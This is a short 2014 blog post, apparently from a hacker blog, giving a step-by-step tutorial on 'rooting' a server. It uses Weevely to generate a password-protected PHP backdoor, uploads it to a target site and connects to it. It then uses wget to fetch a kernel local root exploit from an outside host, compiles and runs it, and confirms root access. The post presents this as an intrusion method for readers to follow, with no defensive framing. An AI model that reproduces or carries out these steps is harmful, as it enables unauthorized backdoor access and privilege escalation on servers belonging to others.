Friday 17 January 2014

Rooting a Server with Weevely


Hi GuYs

Today we will learn to Root A Server with Weevely


Weevely is a python script to backconnect to the shell and makes the
tiniest backdoor to connect
You can google it and Its Mostly used by the people which dont have
open ports
So Our Tutorial Starts from here
First of all Open Weevely
Now type " ./main.py -g -o /root/Desktop/backdoor.php -p r00T"
By this command it will make a backdoor.php in Desktop with
Password: r00T
=========================================================
Now Next Step is to upload our backdoor to the server by shell and
then
type "./main.py -t -u http://www.target.com/uploads/backdoor.php -p
r00T"
and then it will connect to the server
=========================================================

Now We have to find the version of the kernel its using
For Finding that type : "uname -a" and then it will show you the kernel
version.
for example my kernel version is 2.6.18 2012 so I will find a local root
exploit for
2.6.18 2012 kernel version
Rooting depends on local root exploits.
=========================================================

We will use "WGET" to download the local root exploit
First change the dir to "tmp"
now type: "cd /tmp/"
and now download exploit
Now type : "wget http://www.exploit.com/2.6.18.c"
and then we have to compile it by this command
"gcc 2.6.18.c -o KiDSec"
and then it will be compiled
Now chmod 777 KiDSec
By typing " chmod 777 KiDSec"
=========================================================

Now Just Simply run exploit by typing
./KiDSec
=========================================================

Y0 Server Rooted !!
Now to check if Server is rooted so type "id"
and then it should say
"uid=(root) gid=(root)"
=========================================================

Thanks For Reading My Tutorial

Follow The Admin :- https://www.facebook.com/GoGoTheHacker
Blogger :- http://undergroundhackersworld.blogspot.in/
Youtube :- https://www.youtube.com/channel/UChV8z4YOx5OVIMepZhOx19Q
Twitter :- https://twitter.com/UGHackersWorld

No comments:

Post a Comment